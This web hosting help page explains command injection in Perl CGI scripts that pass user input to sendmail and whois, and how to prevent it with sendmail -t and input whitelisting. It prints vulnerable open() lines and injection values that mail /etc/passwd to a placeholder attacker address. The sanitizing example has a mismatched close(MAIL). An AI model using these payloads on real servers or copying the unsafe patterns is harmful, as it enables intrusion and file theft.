CGI Security Issues

A common problem with contributed or free CGI scripts allows an attacker to execute arbitrary shell commands on your Virtual Private Server with all of the privileges as you would have at a command prompt (such as when you Telnet or SSH to your server). It may then be possible for the attacker to gain privileged access to your Virtual Private Server. The problem lies inherently in how the scripts are written not with the overall security of the server itself.

We strongly advises you to check all scripts you download free from a third party source.

• Installing Your Own CGIs

You should specifically look for instances where the script opens a file handle to an external program such as a mail executable (a common task). When these file handles are opened using user-supplied data, you should ensure that these data have been properly sanitized.

Vulnerabilities

Some of the most common vunerabilities include user-supplied data field. For example, you may have a script which packages user-supplied data and e-mails it to a recipient. Perhaps it looks something like:

open (MAIL, "|/bin/sendmail $user_supplied_data{'recipient'}");
print MAIL "To: $user_supplied_data{'recipient'}\n";
print MAIL "From: $user_supplied_data{'email_address'}\n";
.
.
.
close(MAIL);

The above code could possibly be prone to an attack. This would be accomplished by submitting for the value of recipient something like the following:

some@email.address; cat /etc/passwd | mail attacker@email.address

or

some@email.address && mail attacker@email.address < /etc/passwd

The easiest way to deny an attack in this particular example is to eliminate user-supplied data from the open command. The sendmail program has a very useful flag, -t, which when set forces sendmail to read the message headers (To:, Cc:, Bcc:) for recipients. So instead of:

open (MAIL, "|/bin/sendmail $user_supplied_data{'recipient'}");

use this:

open (MAIL, "|/bin/sendmail -t");

Another possible vulnerability can occur when a script executes an external program. For example, you may have a script which performs a lookup on a user-specified domain name's availability. In the lookup source code, you may encounter a line that looks something like this:

open (WHOIS, "/bin/whois $user_supplied_data{'domain_name'} |");

The above code could possibly be prone to an attack. This would be accomplished by submitting for the value of domain_name something like the following:

domain.name; cat /etc/passwd | mail attacker@email.address

or

domain.name && mail attacker@email.address < /etc/passwd

Sanitizing Input

The best way to prevent these types of attacks from being successful is to sanitize user-supplied data. Sanitizing user-supplied data is the process of eliminating any nonessential characters. So, in the example above, it would be very wise to check the domain_name against a valid character set which includes letters, digits, dashes, and periods. This can be accomplished using just a few lines of Perl code:

if ($user_supplied_data{'domain_name'} =~ /[^A-Za-z0-9\.\-]/) {
  print "Content-type: text/plain\n\n";
  print "Uh... you entered an invalid domain name.";
  exit(0);
}
open (WHOIS, "/bin/whois $user_supplied_data{'domain_name'} |");
.
.
.
close(MAIL);

All of the scripts in our CGI Library use proper security sanitizing methods. Although we cannot guarantee the security of all other Virtual Private Server add-ons, we have examined and corrected some problems we have encountered. We also pay close attention to CERT advisories and bulletins that have applicability to our Virtual Private Server System.

Other Resources

More information about proper CGI security is presented (including examples of specific programming techniques) at the following URLs:

• The World Wide Web Security FAQ
• CERT Coordination Center